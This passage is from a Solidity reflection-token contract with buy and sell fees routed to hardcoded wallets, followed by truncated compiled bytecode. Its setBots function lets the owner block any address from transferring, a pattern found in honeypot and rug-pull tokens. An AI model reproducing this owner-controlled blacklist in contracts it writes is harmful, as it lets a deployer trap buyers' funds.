require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (33 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0xCb9D33c68a4F61d3c123c536463E2FACC9D5CAC1).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d9d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128e3565b610441565b6040516101789190612d82565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612f1f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612894565b610470565b6040516101e09190612d82565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612806565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190612f94565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612960565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612806565b610766565b6040516102b19190612f1f565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612cb4565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612d9d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128e3565b610970565b60405161035b9190612d82565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061291f565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129b2565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612858565b6111fd565b6040516104189190612f1f565b60405180910390f35b606060405180606001604052806021815260200161362f60219139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b6105398560405180606001604052806028815260200161365060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0f9092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612e7f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612e7f565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611b73565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c60565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612e7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2465524149434855000000000000000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612e7f565b60405180910390fd5b60005b8151811015610ada57600160066000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad290613235565b915050610a26565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611cce565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612e7f565b60405180910390fd5b601160149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612eff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b919061282f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061282f565b6040518363ffffffff1660e01b8152600401610e02929190612ccf565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e54919061282f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612d21565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c91906129db565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cf8565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612989565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e7f565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e3f565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea00000611fc890919063ffffffff16565b61204390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f29190612f1f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612edf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612dff565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190612f1f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612dbf565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612e9f565b60405180910390fd5b6007600a819055506005600b8190555061159261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160057506115d061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561175d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117cb5750601160179054906101000a900460ff165b1561187b576012548111156117df57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182a57600080fd5b6021426118379190613055565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119265750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611992576007600a819055506008600b819055505b600061199d30610766565b9050601160159054906101000a900460ff16158015611a0a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a225750601160169054906101000a900460ff165b15611a4a57611a3081611cce565b60004790506000811115611a4857611a4747611b73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611afd57600090505b611b098484848461208d565b50505050565b6000838311158290611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e9190612d9d565b60405180910390fd5b5060008385611b669190613136565b9050809150509392505050565b73cb9d33c68a4f61d3c123c536463e2facc9d5cac173ffffffffffffffffffffffffffffffffffffffff166108fc611bb560028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be0573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c3160028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5c573d6000803e3d6000fd5b5050565b6000600854821115611ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9e90612ddf565b60405180910390fd5b6000611cb16120ba565b9050611cc6818461204390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d2c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d5a5781602001602082028036833780820191505090505b5090503081600081518110611d98577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3a57600080fd5b505afa158015611e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e72919061282f565b81600181518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f77959493929190612f3a565b600060405180830381600087803b158015611f9157600080fd5b505af1158015611fa5573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611fdb576000905061203d565b60008284611fe991906130dc565b9050828482611ff891906130ab565b14612038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202f90612e5f565b60405180910390fd5b809150505b92915050565b600061208583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e5565b905092915050565b8061209b5761209a612148565b5b6120a684848461218b565b806120b4576120b3612356565b5b50505050565b60008060006120c761236a565b915091506120de818361204390919063ffffffff16565b9250505090565b6000808311829061212c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121239190612d9d565b60405180910390fd5b506000838561213b91906130ab565b9050809150509392505050565b6000600a5414801561215c57506000600b54145b1561216657612189565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061219d876123cc565b9550955095509550955095506121fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc816124dc565b6122e68483612599565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123439190612f1f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123a0683635c9adc5dea0000060085461204390919063ffffffff16565b8210156123bf57600854683635c9adc5dea000009350935050506123c8565b81819350935050505b9091565b60008060008060008060008060006123e98a600a54600b546125d3565b92509250925060006123f96120ba565b9050600080600061240c8e878787612669565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061247683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b0f565b905092915050565b600080828461248d9190613055565b9050838110156124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c990612e1f565b60405180910390fd5b8091505092915050565b60006124e66120ba565b905060006124fd8284611fc890919063ffffffff16565b905061255181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ae8260085461243490919063ffffffff16565b6008819055506125c98160095461247e90919063ffffffff16565b6009819055505050565b6000806000806125ff60646125f1888a611fc890919063ffffffff16565b61204390919063ffffffff16565b90506000612629606461261b888b611fc890919063ffffffff16565b61204390919063ffffffff16565b9050600061265282612644858c61243490919063ffffffff16565b61243490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126828589611fc890919063ffffffff16565b905060006126998689611fc890919063ffffffff16565b905060006126b08789611fc890919063ffffffff16565b905060006126d9826126cb858761243490919063ffffffff16565b61243490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061270561270084612fd4565b612faf565b9050808382526020820190508285602086028201111561272457600080fd5b60005b85811015612754578161273a888261275e565b845260208401935060208301925050600181019050612727565b5050509392505050565b60008135905061276d816135e9565b92915050565b600081519050612782816135e9565b92915050565b600082601f83011261279957600080fd5b81356127a98482602086016126f2565b91505092915050565b6000813590506127c181613600565b92915050565b6000815190506127d681613600565b92915050565b6000813590506127eb81613617565b92915050565b60008151905061280081613617565b92915050565b60006020828403121561281857600080fd5b60006128268482850161275e565b91505092915050565b60006020828403121561284157600080fd5b600061284f84828501612773565b91505092915050565b6000806040838503121561286b57600080fd5b60006128798582860161275e565b925050602061288a8582860161275e565b9150509250929050565b6000806000606084860312156128a957600080fd5b60006128b78682870161275e565b93505060206128c88682870161275e565b92505060406128d9868287016127dc565b9150509250925092565b600080604083850312156128f657600080fd5b60006129048582860161275e565b9250506020612915858286016127dc565b9150509250929050565b60006020828403121561293157600080fd5b600082013567ffffffffffffffff81111561294b57600080fd5b61295784828501612788565b91505092915050565b60006020828403121561297257600080fd5b6000612980848285016127b2565b91505092915050565b60006020828403121561299b57600080fd5b60006129a9848285016127c7565b91505092915050565b6000602082840312156129c457600080fd5b60006129d2848285016127dc565b91505092915050565b6000806000606084860312156129f057600080fd5b60006129fe868287016127f1565b9350506020612a0f868287016127f1565b9250506040612a20868287016127f1565b9150509250925092565b6000612a368383612a42565b60208301905092915050565b612a4b8161316a565b82525050565b612a5a8161316a565b82525050565b6000612a6b82613010565b612a758185613033565b9350612a8083613000565b8060005b83811015612ab1578151612a988882612a2a565b9750612aa383613026565b925050600181019050612a84565b5085935050505092915050565b612ac78161317c565b82525050565b612ad6816131bf565b82525050565b6000612ae78261301b565b612af18185613044565b9350612b018185602086016131d1565b612b0a8161330b565b840191505092915050565b6000612b22602383613044565b9150612b2d8261331c565b604082019050919050565b6000612b45602a83613044565b9150612b508261336b565b604082019050919050565b6000612b68602283613044565b9150612b73826133ba565b604082019050919050565b6000612b8b601b83613044565b9150612b9682613409565b602082019050919050565b6000612bae601d83613044565b9150612bb982613432565b602082019050919050565b6000612bd1602183613044565b9150612bdc8261345b565b604082019050919050565b6000612bf4602083613044565b9150612bff826134aa565b602082019050919050565b6000612c17602983613044565b9150612c22826134d3565b604082019050919050565b6000612c3a602583613044565b9150612c4582613522565b604082019050919050565b6000612c5d602483613044565b9150612c6882613571565b604082019050919050565b6000612c80601783613044565b9150612c8b826135c0565b602082019050919050565b612c9f816131a8565b82525050565b612cae816131b2565b82525050565b6000602082019050612cc96000830184612a51565b92915050565b6000604082019050612ce46000830185612a51565b612cf16020830184612a51565b9392505050565b6000604082019050612d0d6000830185612a51565b612d1a6020830184612c96565b9392505050565b600060c082019050612d366000830189612a51565b612d436020830188612c96565b612d506040830187612acd565b612d5d6060830186612acd565b612d6a6080830185612a51565b612d7760a0830184612c96565b979650505050505050565b6000602082019050612d976000830184612abe565b92915050565b60006020820190508181036000830152612db78184612adc565b905092915050565b60006020820190508181036000830152612dd881612b15565b9050919050565b60006020820190508181036000830152612df881612b38565b9050919050565b60006020820190508181036000830152612e1881612b5b565b9050919050565b60006020820190508181036000830152612e3881612b7e565b9050919050565b60006020820190508181036000830152612e5881612ba1565b9050919050565b60006020820190508181036000830152612e7881612bc4565b9050919050565b60006020820190508181036000830152612e9881612be7565b9050919050565b60006020820190508181036000830152612eb881612c0a565b9050919050565b60006020820190508181036000830152612ed881612c2d565b9050919050565b60006020820190508181036000830152612ef881612c50565b9050919050565b60006020820190508181036000830152612f1881612c73565b9050919050565b6000602082019050612f346000830184612c96565b92915050565b600060a082019050612f4f6000830188612c96565b612f5c6020830187612acd565b8181036040830152612f6e8186612a60565b9050612f7d6060830185612a51565b612f8a6080830184612c96565b9695505050505050565b6000602082019050612fa96000830184612ca5565b92915050565b6000612fb9612fca565b9050612fc58282613204565b919050565b6000604051905090565b600067ffffffffffffffff821115612fef57612fee6132dc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613060826131a8565b915061306b836131a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130a05761309f61327e565b5b828201905092915050565b60006130b6826131a8565b91506130c1836131a8565b9250826130d1576130d06132ad565b5b828204905092915050565b60006130e7826131a8565b91506130f2836131a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561312b5761312a61327e565b5b828202905092915050565b6000613141826131a8565b915061314c836131a8565b92508282101561315f5761315e61327e565b5b828203905092915050565b600061317582613188565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131ca826131a8565b9050919050565b60005b838110156131ef5780820151818401526020810190506131d4565b838111156131fe576000848401525b50505050565b61320d8261330b565b810181811067ffffffffffffffff8211171561322c5761322b6132dc565b5b80604052505050565b6000613240826131a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132735761327261327e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f77000000